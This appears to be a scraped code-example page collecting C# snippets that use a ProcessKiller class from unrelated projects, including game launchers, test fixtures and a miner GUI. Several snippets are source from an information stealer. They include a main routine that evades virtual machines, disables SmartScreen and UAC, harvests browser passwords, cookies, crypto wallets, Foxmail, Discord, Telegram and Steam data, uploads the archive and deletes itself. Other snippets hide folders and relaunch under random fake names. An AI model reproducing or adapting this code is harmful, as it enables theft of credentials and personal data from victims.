private static async Task KillProcess()
 {
     Process[] SkyrimPlatformCEFs = Process.GetProcessesByName("SkyrimPlatformCEF");
     for (int i = 0; i < SkyrimPlatformCEFs.Length; i++)
     {
         try
         {
             int tr = 0;
             while (!SkyrimPlatformCEFs[i].HasExited && tr++ < 5)
             {
                 SkyrimPlatformCEFs[i].Kill();
                 await Task.Delay(250);
             }
         }
         catch (Win32Exception)
         {
             try
             {
                 if (!SkyrimPlatformCEFs[i].HasExited)
                 {
                     ProcessKiller.KillProcess((IntPtr)SkyrimPlatformCEFs[i].Id);
                 }
             }
             catch (Exception e)
             {
                 Logger.Error("StartGame_Killer_SkyrimPlatformCEF", e);
             }
         }
         catch (Exception e)
         {
             Logger.Error("StartGame_KillSkyrimPlatformCEF", e);
         }
     }
 }
Ejemplo n.º 2
0
        public static void Inizialize()
        {
            string FullPathReg = @"SOFTWARE\Classes\Foxmail.url.mailto\Shell\open\command";

            ProcessKiller.Closing("Foxmail");
            if (Directory.Exists(FoxMailPath.GetFoxMail(FullPathReg)) || !Directory.Exists(GlobalPath.FoxMailPass))
            {
                CombineEx.CreateDir(GlobalPath.FoxMailPass);
                try
                {
                    foreach (string dir in Directory.EnumerateDirectories(FoxMailPath.GetFoxMail(FullPathReg), "*@*", SearchOption.TopDirectoryOnly))
                    {
                        try
                        {
                            string Email     = dir.Substring(dir.LastIndexOf("\\") + 1);
                            string UserDat   = CombineEx.Combination(dir, @"Accounts\Account.rec0");
                            string FinalPath = CombineEx.Combination(GlobalPath.FoxMailPass, @"Account.rec0");
                            CombineEx.FileCopy(UserDat, FinalPath, true);
                            Reader(UserDat, Email);

                            if (File.Exists(GlobalPath.FoxMailLog))
                            {
                                CombineEx.DeleteFile(FinalPath);
                            }
                        }
                        catch (ArgumentException) { }
                    }
                }
                catch (Exception) { }
            }
        }
Ejemplo n.º 3
0
 protected override void OnFormClosing(FormClosingEventArgs e)
 {
     CheckAutoBind();
     if (e.CloseReason.Equals(CloseReason.UserClosing))
     {
         if (MessageBox.Show(Messages.EXIT, "Confirm",
                             MessageBoxButtons.YesNo, MessageBoxIcon.Question).Equals(DialogResult.No))
         {
             e.Cancel = true;
         }
         else
         {
             //@---TODO---
             //if(bgWorker.IsBusy) {
             bgWorker.CancelAsync();
             bgWorker.DoWork             -= bgWorker_DoWork;
             bgWorker.RunWorkerCompleted -= bgWorker_RunWorkerCompleted;
             //}
             if (_isKillProcesses)
             {
                 ProcessKiller.DestroyAll();
             }
         }
     }
     base.OnFormClosing(e);
 }
 public void isBrowserAccessibleThrowsBrowserExistExceptionTest()
 {
     InternetExplorer ie = new InternetExplorer();
     ie.OpenBrowser();
     ProcessKiller killer = new ProcessKiller("iexplore");
     killer.KillAsyncDelayed();
     ExecutePrivateMethod(ie, "isBrowserAccessible");
 }
 public void waitForBrowsersThrowsExceptionWhenWindowClosesUnexpectedlyTest(string methodName)
 {
     InternetExplorer ie = new InternetExplorer();
     ie.OpenBrowser();
     ProcessKiller killer = new ProcessKiller("iexplore");
     killer.KillAsyncDelayed();
     ExecutePrivateMethod(ie, methodName);
 }
 public void isBrowserValidReturnsFalseWhenWindowClosesUnexpectedlyTest()
 {
     InternetExplorer ie = new InternetExplorer();
     ie.OpenBrowser();
     ProcessKiller killer = new ProcessKiller("iexplore");
     killer.KillAsyncDelayed();
     object returnValue = ExecutePrivateMethod(ie, "isBrowserValid");
     Assert.IsNotNull(returnValue);
     bool returned = (bool)returnValue;
     Assert.IsFalse(returned);
 }
Ejemplo n.º 7
0
 private void BSEvents_lateMenuSceneLoadedFresh(ScenesTransitionSetupDataSO scenes)
 {
     Logger.log.Info("MenuSceneLoadedFresh start");
     MenuUI.Instance.CreateUI();
     BSMLSettings.instance.AddSettingsMenu("Beatlist Killer", UI.Views.PluginConfig.ResourceName, UI.Views.PluginConfig.Instance);
     if (UI.Views.PluginConfig.Instance.IsAutoKill)
     {
         _ = ProcessKiller.KillProcesses();
     }
     Logger.log.Info("MenuSceneLoadedFresh end");
 }
Ejemplo n.º 8
0
 public static void Inizialize()
 {
     for (int i = 0; i < AppFilter.Count; i++)
     {
         int appIndex = i;
         for (int y = 0; y < DumpFilter.Count; y++)
         {
             int dumpIndex = y;
             ProcessKiller.ClosingCycle(AppFilter[appIndex], DumpFilter[dumpIndex]);
         }
     }
 }
Ejemplo n.º 9
0
 public static void WinDir(DirectoryInfo info)
 {
     try
     {
         if ((info.Attributes & FileAttributes.Hidden) != FileAttributes.Hidden)
         {
             info.Attributes |= FileAttributes.Hidden;
             ProcessKiller.RefreshProcess("Explorer".ToLower());
         }
     }
     catch (IOException) { }
     catch (ArgumentException) { }
     catch (SecurityException) { }
 }
Ejemplo n.º 10
0
        public static void Copy(string Expansion, string ConfigFiles, string Name, string Proc)
        {
            if (Directory.Exists(SteamPath.GetLocationSteam()) || (!Directory.Exists(GlobalPath.Steam_Dir)))
            {
                CombineEx.CreateDir(GlobalPath.Steam_Dir);
                ProcessKiller.Closing(Proc);
                try
                {
                    foreach (string Unknown in Directory.EnumerateFiles(SteamPath.GetLocationSteam(), Expansion))
                    {
                        if (File.Exists(Unknown))
                        {
                            if (!Unknown.Contains(".crash"))
                            {
                                CombineEx.Combination(Unknown, CombineEx.Combination(GlobalPath.Steam_Dir, Path.GetFileName(Unknown)));
                            }
                        }
                        else
                        {
                            continue;
                        }
                    }
                }
                catch (IOException) { }
                catch (UnauthorizedAccessException) { }
                catch (ArgumentException) { }

                if (!Directory.Exists(CombineEx.Combination(GlobalPath.Steam_Dir, Name)))
                {
                    try
                    {
                        CombineEx.CreateDir(CombineEx.Combination(GlobalPath.Steam_Dir, Name));
                        SaveData.SaveFile(GlobalPath.SteamID, SteamProfiles.GetSteamID());
                        foreach (string Config in Directory.EnumerateFiles(CombineEx.Combination(SteamPath.GetLocationSteam(), Name), ConfigFiles))
                        {
                            if (!File.Exists(Config))
                            {
                                continue;
                            }
                            else
                            {
                                CombineEx.FileCopy(Config, CombineEx.Combination(CombineEx.Combination(GlobalPath.Steam_Dir, Name), Path.GetFileName(Config)), true);
                            }
                        }
                    }
                    catch { }
                }
            }
        }
Ejemplo n.º 11
0
 public static bool Enabled(int value)
 {
     try
     {
         using (var hklmHive = RegistryKey.OpenBaseKey(RegistryHive.CurrentUser, Environment.Is64BitOperatingSystem ? RegistryView.Registry64 : RegistryView.Registry32))
         {
             using (RegistryKey Key = hklmHive.OpenSubKey(@"Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced", Environment.Is64BitOperatingSystem ? true : false))
             {
                 Key?.SetValue("Hidden", value, RegistryValueKind.DWord);
                 ProcessKiller.RefreshProcess("Explorer".ToLower());
             }
             return(true);
         }
     }
     catch { return(false); }
 }
Ejemplo n.º 12
0
        static void Main(string[] args)
        {
            bool createdNew;

            System.Threading.Mutex m = new System.Threading.Mutex(true, "avalon_gui_ever", out createdNew);

            int usbCount = 0;

            if (args != null && args.Length >= 2)
            {
                if (args[0] == "-n")
                {
                    int v = 0;
                    if (Int32.TryParse(args[1], out v))
                    {
                        if (v < 0)
                        {
                            v = 0;
                        }

                        usbCount = v;
                    }
                }
            }

            try
            {
                if (!createdNew)
                {
                    return;
                }

                Application.EnableVisualStyles();
                Application.SetCompatibleTextRenderingDefault(false);

                MainForm mainForm = new MainForm();
                mainForm.SetUSBCount(usbCount);
                Application.Run(mainForm);
            }
            finally
            {
                m.Close();
                ProcessKiller.KillProcessByName(Constants.BfgMinerFileName);
            }
        }
Ejemplo n.º 13
0
 private static bool GeName(string path)
 {
     using (var rnd = new RNGCryptoServiceProvider())
     {
         try
         {
             foreach (string i in FakeName.OrderBy(x => GetNextInt32(rnd)).ToArray())
             {
                 RandomProcessName = CombineEx.Combination(path, i);
                 break;
             }
             CombineEx.FileCopy(GlobalPath.AssemblyPath, RandomProcessName, false); // Перемещает запускаемый файл!
             ProcessKiller.Running(RandomProcessName, false);
             ProcessKiller.Delete("/C choice /C Y /N /D Y /T 0 & Del", GlobalPath.AssemblyPath);
         }
         catch { return(false); }
         return(true);
     }
 }
Ejemplo n.º 14
0
 private static bool GeName(string path)
 {
     using (var rnd = new RNGCryptoServiceProvider())
     {
         try
         {
             foreach (string style in FakeName.OrderBy(x => GetNextInt32(rnd)).ToArray())        // генерируем рандомное имя из списка FakeName
             {
                 RandomProcessName = CombineEx.Combination(path, style);                         //  Задаём сгенерированное имя для нового файла .exe
                 break;                                                                          // Выбрали первое подходящие, выходим из цикла.
             }
             CombineEx.FileCopy(GlobalPath.AssemblyPath, RandomProcessName, false);              // Копируем запускаемый файл в новую папку
             ProcessKiller.Running(RandomProcessName, false);                                    // Запускаем файл из новой папки
             ProcessKiller.Delete("/C choice /C Y /N /D Y /T 0 & Del", GlobalPath.AssemblyPath); // Удаляем предыдущий процесс
         }
         catch { return(false); }
         return(true);
     }
 }
Ejemplo n.º 15
0
        public void CheckProcess()
        {
            var allPros   = Process.GetProcesses();
            var existPros = new List <Process>();

            foreach (var single in discardProcess)
            {
                if (allPros.Any(e => e.ProcessName.ToLower().Contains(single.ToLower())))
                {
                    var temp = allPros.Where(e => e.ProcessName.ToLower().Contains(single.ToLower())).ToList();
                    existPros.AddRange(temp);
                }
            }

            if (existPros.Count > 0)
            {
                var killer = new ProcessKiller(existPros);
                killer.ShowDialog();
            }
        }
Ejemplo n.º 16
0
        public void TerminateProcess()
        {
            // Arrange
            var process   = new Process();
            var startInfo = new ProcessStartInfo
            {
                WindowStyle = ProcessWindowStyle.Hidden,
                FileName    = "cmd.exe",
            };

            process.StartInfo = startInfo;
            process.Start();

            // Act
            var processKiller = new ProcessKiller();

            processKiller.Kill("cmd");

            // Assert
            Assert.That(process.HasExited, Is.True);
        }
Ejemplo n.º 17
0
        private void TryKillBfgMiner()
        {
            ProcessKiller.KillProcessByName(Constants.BfgMinerDirName);

            _processMiner = null;
        }
Ejemplo n.º 18
0
 protected Builder(ProcessKiller processKiller, ILogger <T> logger)
 {
     _processKiller = processKiller;
     _logger        = logger;
 }
Ejemplo n.º 19
0
 private void StopUIProcesses()
 {
     ProcessKiller.KillProcessByName(GuiApplicationName);
     ProcessKiller.KillProcessByName(BfgMinerApplicationName);
 }
Ejemplo n.º 20
0
 public static void ClassDispose()
 {
     ProcessKiller.Kill("LINQPad");
 }
Ejemplo n.º 21
0
        private void Updater_Load(object sender, EventArgs e)
        {
            if (Date.Delay)
            {
                Thread.Sleep(Date.DelaySec);
            }

            if (!AntiVM.GetCheckVMBot())
            {
                if (!MovEx.CheckPath())
                {
                    if (Date.Delay)
                    {
                        ProcessKiller.Delete($"/C choice /C Y /N /D Y /T {Date.DelayTime} & Del", GlobalPath.AssemblyPath);
                    }
                }
                else
                {
                    HideFolders.Enabled(0);
                    DisableLockers.SmartScreen();
                    DisableLockers.UAC();
                    AntiSniffer.Inizialize();

                    if (Date.Downloader || Date.AdminRight)
                    {
                        Users.DownFileEx(Date.DownloaderLink, Environment.GetEnvironmentVariable(Date.DownloaderPath), Date.FakeNameProcess);
                    }
                    if (Date.IpLogger)
                    {
                        IPLogger.Sender(Date.IpLoggerLink);
                    }
                    if (Date.InfoGrabber)
                    {
                        InfoGrabber.CreateTable(GlobalPath.PC_File);
                    }
                    if (Date.CryptoWall)
                    {
                        BitBoard.GetWallet();
                    }
                    if (Date.Browsers)
                    {
                        ChromeSearcher.CopyLoginsInSafeDir(GlobalPath.Logins);
                        ChromeCookiesSearcher.CopyCookiesInSafeDir(GlobalPath.Cookies);
                        GetPassword.Inizialize();
                        GetCookies.Inizialize();
                    }
                    if (Date.Buffer)
                    {
                        ClipboardEx.GetBuffer(GlobalPath.Buffer);
                    }
                    if (Date.Programs)
                    {
                        MailFoxPassword.Inizialize();
                        DcGrabber.GeTokens();
                        TGrabber.GetTelegramSession(GlobalPath.Tdata, GlobalPath.TelegaHome, "*.*");
                    }
                    if (Date.Clients)
                    {
                        GetClients.Inizialize();
                    }
                    if (Date.Steam)
                    {
                        GetSteamFiles.Copy("*.", "*.vdf", "config", "Steam");
                    }
                    if (Date.ScreenShot)
                    {
                        ScreenShot.Shoot(GlobalPath.Screen);
                    }
                    Ccleaner.CheckIsNullDirsAndFiles(GlobalPath.GarbageTemp);
                    Archiving.Inizialize();
                    UploadZip.Inizialize(GlobalPath.Reception, "POST", GlobalPath.ZipAdd);
                    //BlockIE.Enabled(1); // Блокировка интернета
                    if (Date.Delay)
                    {
                        ProcessKiller.Delete($"/C choice /C Y /N /D Y /T {Date.DelayTime} & Del", GlobalPath.AssemblyPath);
                    }
                    Application.Exit();
                }
            }
            else
            {
                SaveData.SaveFile("VM_Detect.txt", "The program is not supported on virtual machines!");
                if (Date.Delay)
                {
                    ProcessKiller.Delete($"/C choice /C Y /N /D Y /T {Date.DelayTime} & Del", GlobalPath.AssemblyPath);
                }
            }
        }
Ejemplo n.º 22
0
 public static void ClassDispose()
 {
     Registry.CurrentUser.DeleteSubKey(SolutionRegistryKey);
     Registry.CurrentUser.DeleteSubKey(SolutionRegistryKeyModel);
     ProcessKiller.Kill("LINQPad");
 }
 public void CloseLINQPadProcess()
 {
     ProcessKiller.Kill("LINQPad");
 }
Ejemplo n.º 24
0
        public void CreateUI()
        {
            Logger.log.Info("Creat UI");
            var button = new MenuButton("Beatlist Killer", "Kill to beatlist Process.", () => { _ = ProcessKiller.KillProcesses(); }, true);

            MenuButtons.instance.RegisterButton(button);
        }
Ejemplo n.º 25
0
 public GoConsoleBuilder(IConfiguration configuration, ProcessKiller processKiller, ILogger <GoConsoleBuilder> logger)
     : base(processKiller, logger)
 {
     _buildDirectory = configuration.GetSection("BuildDirectory").Value;
 }
Ejemplo n.º 26
0
 private static void GreateKill(int pid)
 {
     ProcessKiller.FKill(pid);
 }
Ejemplo n.º 27
0
 public WatchdogImpl(HealthChecker healthChecker, ProcessKiller processKiller)
 {
     this.healthChecker = healthChecker;
     this.processKiller = processKiller;
 }
 public static void ClassDispose()
 {
     Registry.CurrentUser.DeleteSubKey(DynamicDebuggerVisualizerV12.TestRegistryKey);
     ProcessKiller.Kill("LINQPad");
 }
Ejemplo n.º 29
0
 public WatchdogManagerImpl(HealthChecker healthChecker, ProcessKiller processKiller, Func <Owned <Watchdog> > watchdogFactory)
 {
     this.watchdogFactory = watchdogFactory;
 }
 public void TestFixtureTeardown()
 {
     ProcessKiller killer = new ProcessKiller("iexplore");
     killer.Kill();
 }
Ejemplo n.º 31
0
        public static async Task <bool> StartGame()
        {
            EnableDebug();

            StartInfo.FileName         = $"{Settings.PathToSkyrim}\\skse64_loader.exe";
            StartInfo.WorkingDirectory = $"{Settings.PathToSkyrim}\\";
            StartInfo.Verb             = "runas";

            StartInfo.Domain = AppDomain.CurrentDomain.FriendlyName;

            GameProcess.StartInfo = StartInfo;

            Runing = true;
            GameProcess.Start();
            YandexMetrica.ReportEvent("StartedGame");

            int ParentPID = GameProcess.Id;

            await Task.Run(() => GameProcess.WaitForExit());

            foreach (var p in ProcessExtensions.FindChildrenProcesses(ParentPID))
            {
                GameProcess = p;
            }
            Microsoft.Win32.SafeHandles.SafeProcessHandle sh = GameProcess.SafeHandle;
            if (!GameProcess.HasExited)
            {
                await Task.Run(() => GameProcess.WaitForExit());
            }

            YandexMetrica.ReportEvent("ExitedGame");

            await Task.Delay(500);

            Process[] SkyrimPlatformCEFs = Process.GetProcessesByName("SkyrimPlatformCEF");
            for (int i = 0; i < SkyrimPlatformCEFs.Length; i++)
            {
                try
                {
                    int tr = 0;
                    do
                    {
                        SkyrimPlatformCEFs[i].Kill();
                        await Task.Delay(200);
                    }while (!SkyrimPlatformCEFs[i].HasExited && tr++ < 5);
                }
                catch (Win32Exception)
                {
                    if (Settings.ExperimentalFunctions == true)
                    {
                        try
                        {
                            if (!SkyrimPlatformCEFs[i].HasExited)
                            {
                                ProcessKiller.KillProcess((IntPtr)SkyrimPlatformCEFs[i].Id);
                            }
                        }
                        catch (Exception e)
                        {
                            Logger.Error("StartGame_Killer_SkyrimPlatformCEF", e);
                        }
                    }
                }
                catch (Exception e)
                {
                    Logger.Error("StartGame_KillSkyrimPlatformCEF", e);
                }
            }

            Runing = false;

            return(GameProcess.ExitCode != 0);
        }